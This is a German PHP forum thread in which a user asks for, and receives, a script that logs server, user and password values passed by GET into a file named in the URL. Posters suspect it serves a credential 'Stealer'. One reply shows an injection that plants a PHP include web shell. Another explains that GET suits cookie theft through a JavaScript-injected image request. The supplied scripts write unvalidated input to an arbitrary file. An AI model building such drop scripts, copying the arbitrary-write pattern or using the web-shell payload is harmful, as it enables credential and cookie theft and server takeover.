Druckbare Version
Hallo,
suche ein Script dem ich Server,User und Pw übergebe per GET:
So sollte das Script aufgerufen werden und die Sachen sollten immer an die Datei angehängt werden.PHP-Code:script.php?file=Dateiname.txt&Server=mein server&User=MeinUser&Pass=Pw
So sollte des dann in der Dateiname.txt aussehen:
Server: Mein Server
User: MeinUser
Pass: Pw
Hoffe des ist nicht allzu schwer....
Normalerweise verschiebe ich solche Threads gleich in die Tauschbörse, wenn sich der Autor nicht dafür interessiert PHP zu lernen bzw. zu programmieren.
Weils eine sehr kleine Aufgabe ist bekommst du hier ein Skript.
Gesagt sei auch, dass solche Threads demnächst einfach in der Trashbox landen.
P.S.: Das mit file=blah ist zwar die dümmste Idee, die man beim PHP Programmieren nur haben kann (es sei denn, du magst es Shells auf deinem Server zu haben...), aber wenn du es halt so haben willst soll es mir recht sein; ist nicht mein Webspace.PHP-Code:<?php
if (isset($_GET['file']) && isset($_GET['server'])
&& isset($_GET['user']) && isset($_GET['pass']))
{
if (is_string($_GET['file']) && is_string($_GET['server'])
&& is_string($_GET['user']) && is_string($_GET['pass']))
{
file_put_contents(
$_GET['file'],
"Server: " . $_GET['server'] .
"\r\nUser: " . $_GET['user'] .
"\r\nPass: " . $_GET['pass'] .
"\r\n\r\n"
);
}
}
?>
geht doch eigentlich viel einfacher:
PHP-Code:<?
$filename = $_GET['file'];
$serv = $_GET['server'];
$usr = $_GET['user'];
$pass = $_GET['pass'];
$file = fopen($filename, "a");
$intofile = "Server : ".$serv."\nUser : ".$usr."\nPass : ".$pass."\n\n";
fwrite($file, $intofile);
fclose($file);
?>
Wenn du mit einfacher meinst "Runtime Error, wenn man einen der Parameter nicht übergibt, oder Arrays übergibt", dann ja.
Ansonsten nein.
Mal ganz davon abgesehen, dass du, wenn du es wirklich einfach haben wolltest, nur den Teil mit file_put_contents aus meinem Skript übernehmen müsstest.
Das wäre dann - hätte ich es nicht der Übersicht halber aufgesplittet nur ein Einzeiler.
Ich weiß nicht wofür das das mit Get brauchst, abe rich empfehle die Sachen anstatt mir GET mit POST zu übergeben, ist sicherer, und vielleicht ovrher nochmal prüfen!
Wieso sollte Post sicherer als Get sein? Das stimmt nicht ;-)
Und das in einen variablen Dateinamen zu schreiben ist, wie BlackBerry schon sagte, das dümmste was man machen kann.
Was wäre z.B. mit folgendem Aufruf:
@threadstarter: Überleg dir mal und denk n bissel drüber nach ;-)Code:domain.tld/index.php?file=shell.php&server=x&user=<?php include($_GET['s']); ?>&pass=x
Da er dieses Script höchstwahrscheinlich für irgendeinen "Stealer" o.Ä. braucht und es sehr wahrscheinlich auf irgendeinem Free-Webspace läuft, von dem er (hoffentlich) nach spätestens 2 Tagen gekickt wird, wird ihm die Sicherheit in diesem Fall wohl ziemlich egal sein...
Ja und? Wenn man ihm schon erklärt wies geht, dann auch richtig und sicher.
@GregorSams genau das meine ich mit Unsicher -.-
Get kannst du mal eben Was reinschreiben ohne Formular
War nicht auf POST/GET bezogen!
Zitat:
Zitat von BlackBerry
Danke nur leider wird die Datei immer überschrieben.
Was muss ich den ändern das die Daten immer an die Datei angehängt werden?
POST doch genauso, dauert nur 2 Sekunden länger ;)Zitat:
Zitat von moppelito
Der einzige Vorteil von POST wäre hier, dass man theoretisch beliebig viele Daten transportieren könnte. (was in diesem Fall ja aber eigentlich garnicht nötig wäre.)
@KILLAV
Einmal lesen:Zitat:
If filename does not exist, the file is created. Otherwise, the existing file is overwritten, unless the FILE_APPEND flags is set.
statt file_put_contents
http://www.php.net/manual/de/function.fopen.php
http://www.php.net/manual/de/function.fwrite.php
wird alles erklärt auch das mit dem dranhängen.
Doch du hast POST bevorzugt gegenüber GET, obwohl es in dem Fall überhaupt keinenZitat:
Zitat von moppelito
Unterschied macht.
Typechecking macht man in PHP nicht, bzw nur wenn es nötig ist.
Das:
Umschreiben zu:Code:if (is_string($_GET['file']) && is_string($_GET['server'])
&& is_string($_GET['user']) && is_string($_GET['pass']))
PHP-Code:$_GET = array_map('strval', $_GET);
Man kann noch hinzufügen, dass in dem Falle das man solch einen Code zum Klauen von Cookies nehmen will $_GET besser geeignet ist.
Man kann dann direkt per JavaScript z.B. ein Bild in die Seite einbauen und die Argumente anhängen - bei Post-Übertragungen wäre das etwas komplizierter.